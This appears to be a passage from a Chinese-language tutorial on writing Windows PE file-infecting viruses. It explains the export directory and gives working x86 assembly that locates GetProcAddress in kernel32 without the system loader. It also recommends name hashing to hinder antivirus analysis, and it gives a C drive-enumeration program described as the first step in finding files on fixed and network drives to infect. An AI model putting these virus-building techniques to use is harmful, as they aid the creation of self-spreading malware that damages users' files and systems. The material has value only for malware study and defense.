PE文件的函数导出机制是进行模块间动态调用的重要机制,对于正常的程序,相关操作是由系统加载器在程序加载前自动完成的,对用户程序是透明的。但要想在病毒代码中实现函数地址的动态解析以取代加载器,那就有必要了解函数导出表的结构了。在图1中可以看到在PE头结构IMAGE_OPTIONAL_HEADER32结构中包含一个DataDirectory数组结构,该结构包含16个成员,每个成员都是一个IMAGE_DATA_DIRECTORY结构:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
DataDirectory数组的每个结构都指向一个重要的数据结构,第一个成员指向导出函数表(索引0),第2个成员指向PE文件的引入函数表(索引1)。DataDirectory中的第一个成员指向导出函数表的IMAGE_EXPORT_DIRECTORY结构:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
AddressOfFunctions是一个双字数组,包含了所有导出函数的RVA,另外两个成员AddressOfNames也是一个双字数组,包含了指向导出函数名字的字符串的RVA,AddressOfNameOrdinals是一个字数组(16bit),和AddressOfNames数组是并行的,和AddressOfNames数组一起确定了相应引出函数的序号,该序号可直接用于索引AddressOfFunctions数组获取导出函数的地址。因此病毒搜索指定的API就包含了如下步骤:
a)获取NumberOfNames的值以及AddressOfNames、AddressOfNameOrdinals和AddressOfFunctions的数组的地址。
b)搜索AddressOfNames数组,按字符串对比,若找到相应的API,转d
c)若NumberOfNames名字尚未全部搜索完毕,转b继续搜索,若搜索完毕,则表明未找到进行错误处理,这一步通常可以省略,因为我们已经知道相应的DLL中肯定导出了相应的函数。
d)获取当前函数名字指针在AddressOfNames数组中的索引,在AddressOfNameOrdinals数组中取出以该值索引的函数序号,以该序号值作为AddressOfFunctions数组的索引,在AddressOfFunctions数组中取出导出函数的RVA值,加上基址就得到了运行时导出函数的地址。
看起来似乎比较罗嗦,实际上这是PE设计时为考虑灵活性而做出的牺牲。不过实现起来还是比较简单的,通常汇编代码编译后不到100字节。以下是在Kernel32搜索GetProcAddress的完整代码:
push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebp,esi
mov edi,[ebp+edi+peh.DataDirectory]
push edi esi
mov eax,[ebp+edi+peexc.AddressOfNames]
mov edx,[ebp+edi+peexc.AddressOfNameOrdinals]
call @F
db "GetProcAddress",0
@@:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebp+eax]
add esi,ebp
mov ecx,15
repz cmpsb ;进行字符串比较,判断是否为要查找的函数
jnz next_
pop esi edi
sub eax,[ebp+edi+peexc.AddressOfNames]
shr eax,1
add edx,ebp
movzx eax,word [edx+eax]
add esi,[ebp+edi+peexc.AddressOfFunctions]
add ebp,[esi+eax*4] ;ebp=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
在前面解析导出函数表获取API地址的时候,采用的是直接比较字符串的方法判断是不是找到了相应的API,其实还可以计算函数名字的hash,然后同预计算的hash进行比对,现代的PE病毒更多采用的hash的方法,其原因在于一般的函数名字长度都大于4字节,而用hash只要占用4个字节或2个字节,可以节省空间,此外还有抗病毒分析的作用,因为hash要比字符串名字费解得多。hash算法的设计只要能保证无冲突即可,可以用crc等成熟算法,也可以设计自己的简单算法。在Elkern中就使用了crc16算法。
* 文件搜索
文件搜索是病毒的重要功能模块之一,也是实现感染和传播的关键。现代Windows和各种移动介质的文件系统可能采用多种复杂格式,因此象一些Dos病毒一样试图直接存取文件系统(读写扇区)是不大现实的。通常利用Win32 API的FindFirstFile和FindNextFile来实当前目录下所有目录和文件的搜索,通过判断搜索到的文件属性,可区分是否为目录或可执行文件,对于可执行文件则根据预先设计好的感染策略进行感染;对于当前目录下的所有子目录以及特殊的..父目录,可以使用递归或非递归的方式利用上述两个API全部进行遍历,因此从某个驱动器或网络共享文件夹的任意一个子目录开始,都可以遍历当前驱动器或网络共享文件夹内的所有文件和目录。一般地,搜索文件从驱动器或共享文件夹的根目录开始,那么如何得到当前系统中存在的所有驱动器或所有的共享文件夹列表呢?对于前一个问题,我们知道Windows下可划分A:~Z:共26个逻辑盘符,因此可以从A:开始递增搜索所有的驱动器,使用Win32 API GetDriveType判断当前搜索的盘符是否存在,以及是否是固定硬盘、可移动存储介质、是否可写或是网络驱动器等。一般病毒只感染固定硬盘或网络驱动器。由于汇编语言在表述算法时显得过于冗长,因此算法部分使用C语言描述,当然将C算法转换成汇编语言是很简单的过程。
下面的代码enumdisk.cpp将显示A-Z各个驱动器的相关属性:
#include
#include
#define MAX_DRIVENAME_LENGTH 64
void __cdecl main(int argc,char *argv[])
{
char DriveName[MAX_DRIVENAME_LENGTH];
char *p;
unsigned int drv_attr;
p = DriveName;
strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);
for(;*p<'Z';++*p) {
drv_attr = GetDriveType(p);
switch(drv_attr)
{
case DRIVE_UNKNOWN: // 未知类型
printf("drive %s type %s/n",p,"DRIVE_UNKNOWN");break;
case DRIVE_NO_ROOT_DIR: // 该驱动器不存在
printf("drive %s type %s/n",p,"DRIVE_NO_ROOT_DIR");break;
case DRIVE_REMOVABLE: // 可移动盘,软盘或U盘或移动硬盘等
printf("drive %s type %s/n",p,"DRIVE_REMOVABLE");break;
case DRIVE_FIXED: // 固定硬盘
printf("drive %s type %s/n",p,"DRIVE_FIXED");break;
case DRIVE_REMOTE: // 一般是映射网络驱动器
printf("drive %s type %s/n",p,"DRIVE_REMOTE");break;
case DRIVE_CDROM: // 光盘
printf("drive %s type %s/n",p,"DRIVE_CDROM");break;
case DRIVE_RAMDISK: // RAM DISK
printf("drive %s type %s/n",p,"DRIVE_RAMDISK");break;
}
}
}
与仅仅显示一条信息不同的是,病毒此时将调用文件枚举函数(如后面给出的enum_path函数)从当前根目录开始遍历DRIVE_FIXED的驱动器上的所有文件,根据预定义策略进行文件感染。